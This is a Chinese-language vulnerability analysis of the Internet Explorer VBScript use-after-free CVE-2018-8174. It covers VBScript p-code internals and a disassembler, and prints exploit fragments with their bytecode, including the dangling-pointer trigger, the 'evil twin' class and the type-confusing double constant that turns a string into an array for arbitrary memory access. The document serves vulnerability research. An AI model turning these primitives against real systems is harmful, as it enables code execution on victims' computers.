4月下旬,我們發(fā)現(xiàn)了一個(gè)漏洞并對其發(fā)表了一篇報(bào)告CVE-2018-8174,這是我們的沙盒在Internet Explorer中發(fā)現(xiàn)的一個(gè)新0day漏洞,該漏洞使用了漏洞CVE-2014-6332的poc中一種常用的技術(shù),實(shí)際上就是“破壞”了兩個(gè)內(nèi)存對象,并將一個(gè)對象的類型更改為Array(用于對地址空間的讀/寫訪問),另一個(gè)對象類型更改為Integer,以獲取任意對象的地址。
但是CVE-2014-6332的利用主要是針對寫入任意內(nèi)存位置的整數(shù)溢出,而我的興趣點(diǎn)在于如何改編此技術(shù)以用于UAF漏洞。要回答這個(gè)問題,我們需要先考慮一下VBScript解釋器的內(nèi)部結(jié)構(gòu)。
調(diào)試一個(gè)VBScript可執(zhí)行文件可是一項(xiàng)繁瑣的工作,因?yàn)樵趫?zhí)行之前它會(huì)先被編譯成p代碼(p-code),然后才由虛擬機(jī)解釋。網(wǎng)上無法找到有關(guān)于此虛擬機(jī)的內(nèi)部結(jié)構(gòu)或者關(guān)于其指令的開源信息,不過花費(fèi)了大量精力過后,我終于在幾個(gè)網(wǎng)頁中只找到了1999年和2004年的微軟工程師報(bào)告,這些報(bào)告中揭示了一些關(guān)于p代碼的信息,其中有足夠的信息讓我對所有的VM指令進(jìn)行完全逆向,并編寫一個(gè)反匯編程序。大家在我們的Github存儲庫中可以找到用于在IDA Pro和WinDBG調(diào)試器的內(nèi)存中反匯編VBScript p代碼的最終腳本。
通過理解虛擬機(jī)解釋代碼,我們可以精確地監(jiān)視腳本的執(zhí)行情況:可以獲得有關(guān)在任何指定時(shí)間點(diǎn)上代碼被執(zhí)行的位置的完整信息,并且可以觀察腳本創(chuàng)建和引用的所有對象,所有的這些信息都可以對分析提供極大的幫助。
運(yùn)行反匯編腳本的最佳位置是CScriptRuntime::RunNoEH函數(shù),因?yàn)樗梢灾苯咏忉宲代碼。
CScriptRuntime類中的重要字段
CScriptRuntime類包含了有關(guān)解釋器狀態(tài)的所有信息:局部變量、函數(shù)參數(shù)、指向堆棧頂部的指針和當(dāng)前指令,以及被編譯腳本的地址。
VBScript虛擬機(jī)是面向堆棧的,包含大約超過100條的指令。
所有變量(本地參數(shù)和堆棧上的變量)都表示為占用16個(gè)字節(jié)的VARIANT.aspx)結(jié)構(gòu),其中高位字表示數(shù)據(jù)類型,某些類型值在相關(guān)的MSDN)頁面上也可以找到。
下面是’Class1’類的代碼和反匯編后的p代碼:
Class Class1
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Function 34 (‘Class1’) [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
0000 OP_CreateClass
0005 OP_FnBindEx ‘p’ 35 FALSE
000F OP_FnBindEx ‘SetProp’ 36 FALSE
0019 OP_CreateVar ‘mem’ FALSE
001F OP_LocalSet 0
0022 OP_FnReturn
Function 35 (‘p’) [max stack = 0]:
arg count = 0
lcl count = 0
Pcode:
***BOS(8252,8264)*** End Function *****
0000 OP_Bos1 0
0002 OP_FnReturn
0003 OP_Bos0
0004 OP_FuncEnd
Function 36 (‘SetProp’) [max stack = 1]:
arg count = 1
arg –1 = ref Variant ‘value’
lcl count = 0
Pcode:
***BOS(8292,8301)*** mem=Value *****
0000 OP_Bos1 0
0002 OP_LocalAdr –1
0005 OP_NamedSt ‘mem’
***BOS(8304,8315)*** SetProp=(0) *****
000A OP_Bos1 1
000C OP_IntConst 0
000E OP_LocalSt 0
***BOS(8317,8329)*** End Function *****
0011 OP_Bos1 2
0013 OP_FnReturn
0014 OP_Bos0
0015 OP_FuncEnd
函數(shù)34是’Class1’類的構(gòu)造函數(shù)。
OP_CreateClass指令調(diào)用VBScriptClass::Create函數(shù)來創(chuàng)建VBScriptClass對象。
OP_FnBindEx和OP_CreateVar指令嘗試獲取參數(shù)中傳遞的變量,由于它們尚不存在,因此它們由VBScriptClass::CreateVar函數(shù)創(chuàng)建。
下圖顯示了如何從VBScriptClass對象中獲取變量,其中變量的值存儲在VVAL結(jié)構(gòu)中:
想要了解漏洞的利用方法,則需要先了解變量在VBScriptClass結(jié)構(gòu)中的表示方式。
當(dāng)在函數(shù)36(‘SetProp’)中執(zhí)行OP_NamedSt ‘mem’指令時(shí),它會(huì)調(diào)用先前堆疊的類的實(shí)例的默認(rèn)屬性Getter,然后將返回的值存儲在變量’mem’中。
***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <————將參數(shù)置于堆棧
0005OP_NamedSt’mem’<———- – 如果它是具有默認(rèn)屬性Getter的類調(diào)度程序,則在mem中調(diào)用并存儲返回的值
下面是在執(zhí)行OP_NamedSt指令期間調(diào)用的30(p)函數(shù)的代碼和反匯編的p代碼:
Class lllIIl
Public Default Property Get P
Dim llII
P=CDbl(“174088534690791e-324”)
For IIIl=0 To 6
IIIlI(IIIl)=0
Next
Set llII=New Class2
llII.mem=lIlIIl
For IIIl=0 To 6
Set IIIlI(IIIl)=llII
Next
End Property
End Class
Function 30 (‘p’) [max stack = 3]:
arg count = 0
lcl count = 1
lcl 1 = Variant ‘llII’
tmp count = 4
Pcode:
***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
0000 OP_Bos1 0
0002 OP_StrConst ‘174088534690791e-324’
0007 OP_CallNmdAdr ‘CDbl’ 1
000E OP_LocalSt 0
***BOS(8763,8782)*** For IIIl=(0) To (6) *****
0011 OP_Bos1 1
0013 OP_IntConst 0
0015 OP_IntConst 6
0017 OP_IntConst 1
0019 OP_ForInitNamed ‘IIIl’ 5 4
0022 OP_JccFalse 0047
***BOS(8809,8824)*** IIIlI(IIIl)=(0) *****
0027 OP_Bos1 2
0029 OP_IntConst 0
002B OP_NamedAdr ‘IIIl’
0030 OP_CallNmdSt ‘IIIlI’ 1
***BOS(8826,8830)*** Next *****
0037 OP_Bos1 3
0039 OP_ForNextNamed ‘IIIl’ 5 4
0042 OP_JccTrue 0027
***BOS(8855,8874)*** Set llII=New Class2 *****
0047 OP_Bos1 4
0049 OP_InitClass ‘Class2’
004E OP_LocalSet 1
***BOS(8876,8891)*** llII.mem=lIlIIl *****
0051 OP_Bos1 5
0053 OP_NamedAdr ‘lIlIIl’
0058 OP_LocalAdr 1
005B OP_MemSt ‘mem’
….
該函數(shù)的第一個(gè)基本塊是:
*** BOS(8626,8656)*** P = CDbl(“174088534690791e-324”)*****
0000OP_Bos1 0
0002OP_StrConst’174088534690791e-
324’0007OP_CallNmdAdr’CDbl’1
000EOP_LocalSt 0
該塊將字符串’174088534690791e-324’轉(zhuǎn)換為VARIANT.aspx)結(jié)構(gòu),并將其存儲在本地變量0中,保留為函數(shù)的返回值。
在將’174088534690791e-324’轉(zhuǎn)換為雙倍后得到VARIANT
設(shè)置后的返回值在被返回之前,執(zhí)行以下函數(shù):
For IIIl=0 To 6
IIIlI(IIIl)=0
Next
該函數(shù)會(huì)調(diào)用“Class1”實(shí)例的垃圾回收器,并由于我們之前提到的Class_Terminate()中存在的use-after-free漏洞而導(dǎo)致一個(gè)懸空指針引用。
In the line
***BOS(8855,8874)*** Set llII=New Class2 *****
0047OP_Bos1 4
0049OP_InitClass ‘Class2’
004EOP_LocalSet 1
OP_InitClass ‘Class2’指令在先前釋放的VBScriptClass 的位置創(chuàng)建’Class1’類的“evil twin”實(shí)例,該實(shí)例仍由函數(shù)36(‘SetProp’)中的OP_NamedSt ‘mem’指令引用。
“Class2”類是“Class1”類的“evil twin”:
Class Class2
Dim mem
Function P0123456789
P0123456789=LenB(mem(IlII+(8)))
End Function
Function SPP
End Function
End Class
Function 31 (‘Class2’) [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
0000 OP_CreateClass ‘Class2’
0005 OP_FnBindEx ‘P0123456789’ 32 FALSE
000F OP_FnBindEx ‘SPP’ 33 FALSE
0019 OP_CreateVar ‘mem’ FALSE
001F OP_LocalSet 0
0022 OP_FnReturn
Function 32 (‘P0123456789’) [max stack = 2]:
arg count = 0
lcl count = 0
Pcode:
***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) *****
0000 OP_Bos1 0
0002 OP_NamedAdr ‘IlII’
0007 OP_IntConst 8
0009 OP_Add
000A OP_CallNmdAdr ‘mem’ 1
0011 OP_CallNmdAdr ‘LenB’ 1
0018 OP_LocalSt 0
***BOS(8423,8435)*** End Function *****
001B OP_Bos1 1
001D OP_FnReturn
001E OP_Bos0
001F OP_FuncEnd
Function 33 (‘SPP’) [max stack = 0]:
arg count = 0
lcl count = 0
Pcode:
***BOS(8451,8463)*** End Function *****
0000 OP_Bos1 0
0002 OP_FnReturn
0003 OP_Bos0
0004 OP_FuncEnd
內(nèi)存中變量的位置是可預(yù)測的。VVAL結(jié)構(gòu)占用的數(shù)據(jù)量使用公式0x32 + UTF-16中變量名的長度計(jì)算。
下圖顯示了在分配’Class2’代替’Class1’時(shí),’Class1’變量相對于’Class2’變量的位置。
當(dāng)函數(shù)36(‘SetProp’)中的OP_NamedSt ‘mem’指令的完成執(zhí)行后,函數(shù)30(‘p’)返回的值通過Class1中VVAL ‘mem’的懸空指針寫入寄存器,并覆蓋VARIANT Class2中的VVAL ‘mem’類型。
Double類型的VARIANT將VARIANT類型從String重寫為Array
因此,String類型的對象被轉(zhuǎn)換為Array類型的對象,之前被認(rèn)為是字符串的數(shù)據(jù)被視為Array控件結(jié)構(gòu),并被允許訪問進(jìn)程的整個(gè)地址空間。
我們將用于反匯編VBScript的腳本編譯成p代碼,以便于以字節(jié)碼級別啟用VBScript調(diào)試,這樣可以在分析漏洞的利用并了解VBScript的運(yùn)行方式的時(shí)候提供有效的幫助,該腳本已存儲在我們的Github存儲庫中。
CVE-2018-8174的案例表明,當(dāng)內(nèi)存分配具有高度可預(yù)測性時(shí),UAF漏洞會(huì)變得很容易被利用,在野外這種攻擊常常被用來針對舊版Windows,尤其是在Windows 7和Windows 8.1中最有可能出現(xiàn)該攻擊所需要的內(nèi)存中對象的位置。